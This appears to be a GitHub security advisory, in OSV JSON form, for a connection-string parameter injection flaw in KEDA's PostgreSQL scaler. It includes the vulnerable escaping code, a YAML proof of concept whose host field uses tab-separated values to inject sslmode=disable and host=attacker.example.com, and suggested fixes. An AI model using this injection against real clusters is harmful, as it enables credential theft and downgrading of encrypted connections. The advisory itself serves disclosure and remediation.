CVE-2026-53572: Github.com/kedacore/keda/v2 KEDA Has PostgreSQL Connection String Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6w3m-4hhp-775q",
  "modified" : "2026-07-07T23:44:13Z",
  "published" : "2026-07-07T23:44:13Z",
  "aliases" : [ "CVE-2026-53572" ],
  "summary" : "KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping",
  "details" : "### Summary\n`pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`:\n```go\nfunc escapePostgreConnectionParameter(str string) string {\n    if !strings.Contains(str, \" \") {\n        return str       // returned as-is for any non-space whitespace\n    }\n    str = strings.ReplaceAll(str, \"'\", \"\\\\'\")\n    return fmt.Sprintf(\"'%s'\", str)\n}\n```\nThe function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\\tsslmode=disable\\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters.\n\n### Vulnerable code\n`pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257.\n\n### Impact\nTenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can:\n- **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.\n- **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword.\n- Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior.\n\nNote: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration — injected `host=` still redirects the subsequent `password=` keyword's target.\n\n### Proof of concept\n```yaml\ntriggers:\n- type: postgresql\n  metadata:\n    host: \"legit.db.svc\\tsslmode=disable\\thost=attacker.example.com\"\n    port: \"5432\"\n    userName: \"keda\"\n    dbName: \"metrics\"\n    sslmode: \"require\"\n    query: \"SELECT 1\"\n```\nAfter `escapePostgreConnectionParameter` (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`.\n\n### Suggested fix\n- Escape / reject any ASCII whitespace (`\\t`, `\\n`, `\\r`, `\\f`, `\\v`, space) and backslash.\n- Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding.\n- Validate each field against an allow-list pattern before use.\n\n### Resources\n- `pkg/scalers/postgresql_scaler.go`\n- libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kedacore/keda/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.20.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kedacore/keda"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74", "CWE-89" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-07T23:44:13Z",
    "nvd_published_at" : null
  }
}